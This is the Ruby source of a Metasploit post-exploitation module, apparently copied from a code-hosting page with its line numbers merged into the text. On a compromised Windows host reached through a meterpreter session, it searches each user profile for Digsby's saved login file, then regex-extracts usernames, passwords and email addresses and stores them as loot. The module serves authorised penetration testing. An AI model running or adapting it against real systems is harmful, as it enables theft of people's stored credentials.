Path: blob/master/modules/post/windows/gather/credentials/digsby.rb
21552 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat9ARTIFACTS =10{11application: 'digsby',12app_category: 'chats',13gatherable_artifacts: [14{15filetypes: 'logins',16path: 'LocalAppData',17dir: 'Digsby',18artifact_file_name: 'logininfo.yaml',19description: "Digsby's saved Username & Passwords",20credential_type: 'text',21regex_search: [22{23extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',24extraction_type: 'credentials',25regex: [26'(?i-mx:password.*)',27'(?i-mx:username.*)'28]29},30{31extraction_description: 'searches for Email TO/FROM address',32extraction_type: 'Email addresses',33regex: [34'(?i-mx:to:.*)',35'(?i-mx:from:.*)'36]37}38]39}40]41}.freeze4243def initialize(info = {})44super(45update_info(46info,47'Name' => 'Digsby Credential Gatherer',48'Description' => %q{49This module searches for Digsby credentials on a Windows host.50},51'License' => MSF_LICENSE,52'Author' => [53'Kazuyoshi Maruta',54'Daniel Hallsworth',55'Barwar Salim M',56'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org57],58'Platform' => ['win'],59'SessionTypes' => ['meterpreter'],60'Notes' => {61'Stability' => [CRASH_SAFE],62'Reliability' => [],63'SideEffects' => []64}65)66)6768register_options(69[70OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),71OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),72OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),73# enumerates the options based on the artifacts that are defined below74OptEnum.new('ARTIFACTS', [75false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|76k[:filetypes]77end.uniq.unshift('All')78])79]80)81end8283def run84print_status('Filtering based on these selections: ')85print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")86print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")87print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8889# used to grab files for each user on the remote host90grab_user_profiles.each do |userprofile|91run_packrat(userprofile, ARTIFACTS)92end9394print_status 'PackRat credential sweep completed'95end96end979899